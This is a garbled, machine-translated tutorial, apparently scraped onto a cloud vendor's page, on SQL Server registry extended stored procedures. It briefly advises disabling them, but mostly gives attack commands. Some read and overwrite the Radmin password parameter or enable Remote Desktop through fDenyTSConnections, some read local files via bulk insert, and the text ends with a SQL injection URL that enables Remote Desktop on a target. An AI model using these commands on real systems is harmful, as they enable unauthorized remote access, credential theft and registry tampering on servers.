How to use several extended stored procedures _mssql

Source: Internet
Author: User
Tags bulk insert delete key
SQL Server contains several extended stored procedures that can access the system registry. But in fact these extended stored procedures are not exposed, from SQL Server 7.0,
Still retained in SQL Server 2000, they may be deleted later. But these stored procedures provide the ability to access the system registry in the current version of SQL Server,
And many people use SQL Server to attack the system, often use these extended stored procedures. So it's best to disable them in SQL Server.
Xp_regenumvalues returns all key values in more than one recordset
How to use:
Xp_regenumvalues registry root Key, subkey
For example, to see all the key values of HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run:

Use master
EXEC xp_regenumvalues ' HKEY_LOCAL_MACHINE ', ' SOFTWARE\Microsoft\Windows\CurrentVersion\Run '
EXEC xp_regenumvalues ' HKEY_LOCAL_MACHINE ', ' System\radmin\v2.0\server\parameters '

Xp_regread returns the value of the key
How to use:
Xp_regread root key, subkey, key value name
Use master
EXEC xp_regread ' HKEY_LOCAL_MACHINE ', ' software\microsoft\windows\currentversion ', ' CommonFilesDir '
EXEC xp_regread ' HKEY_LOCAL_MACHINE ', ' system\radmin\v2.0\server\parameters ', ' Parameter '
Get the password
EXEC xp_regread ' HKEY_LOCAL_MACHINE ', ' system\currentcontrolset\control\terminal Server ', ' fdenytsconnections '
Remote Desktop turned on to 0
Xp_regwrite Write to Registry
How to use:
Xp_regwrite root key, subkey, value name, value type, value
Use master
EXEC xp_regwrite ' HKEY_LOCAL_MACHINE ', ' software\microsoft\windows\currentversion ', ' testvaluename ', ' REG_SZ ', ' Hello
EXEC xp_regwrite ' HKEY_LOCAL_MACHINE ', ' system\radmin\v2.0\server\parameters ', ' Parameter ', ' reg_binary ', 0xd7b7cb315b4e731d8e9ef886ce6dcb23

EXEC xp_regwrite ' HKEY_LOCAL_MACHINE ', ' system\radmin\v2.0\server\parameters ', ' Parameter ', ' reg_binary ', 0xd7b7cb315b4e731d8e9ef886ce6dcb23;--

EXEC xp_regwrite ' HKEY_LOCAL_MACHINE ', ' system\radmin\v2.0\server\parameters ', ' Parameter ', ' reg_binary ', ';
Must be emptied before new values are written
The prerequisite for a successful modification is that the value is null
Note that the value type has 2 REG_SZ representing the character type, which is equivalent to creating a new string value, REG_DWORD representing an integral type, and the equivalent of creating a new DWORD value
REG_Binary
EXEC xp_regwrite ' HKEY_LOCAL_MACHINE ', ' system\currentcontrolset\control\terminal Server ', ' fdenytsconnections ', ' REG_DWORD ', 1;--
Disable Remote Desktop
Xp_regdeletevalue Delete a value
How to use:
Xp_regdeletevalue root key, subkey, Value name
EXEC xp_regdeletevalue ' HKEY_LOCAL_MACHINE ', ' software\microsoft\windows\currentversion ', ' TestValueName '
Use master
EXEC xp_regdeletevalue ' HKEY_LOCAL_MACHINE ', ' system\radmin\v2.0\server\parameters ', ' Parameter '

Xp_regdeletekey Delete key, including all values under this key
How to use:
Use master
Xp_regdeletekey ' HKEY_LOCAL_MACHINE ', ' Software\microsoft\windows\currentversion\testkey '
EXEC xp_regdeletekey ' HKEY_LOCAL_MACHINE ', ' System\radmin\v2.0\server\parameters '

Run Prerequisites SA
May use is not very big, also did not study deeply, because thinks reads the ASP to use Xp_makecab more convenient point, only for the thought expands.
Method 1.bulk insert AAA from ' c:\1.txt '
Method 2.xp_readerrorlog 1, ' C:\1.txt '
Open Remote Desktop Http://192.168.200.188/product_list.asp?classid=14;exec master. Xp_regwrite ' HKEY_LOCAL_MACHINE ', ' system\currentcontrolset\control\terminal Server ', ' fdenytsconnections ', ' REG_ DWord ', 0;--

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.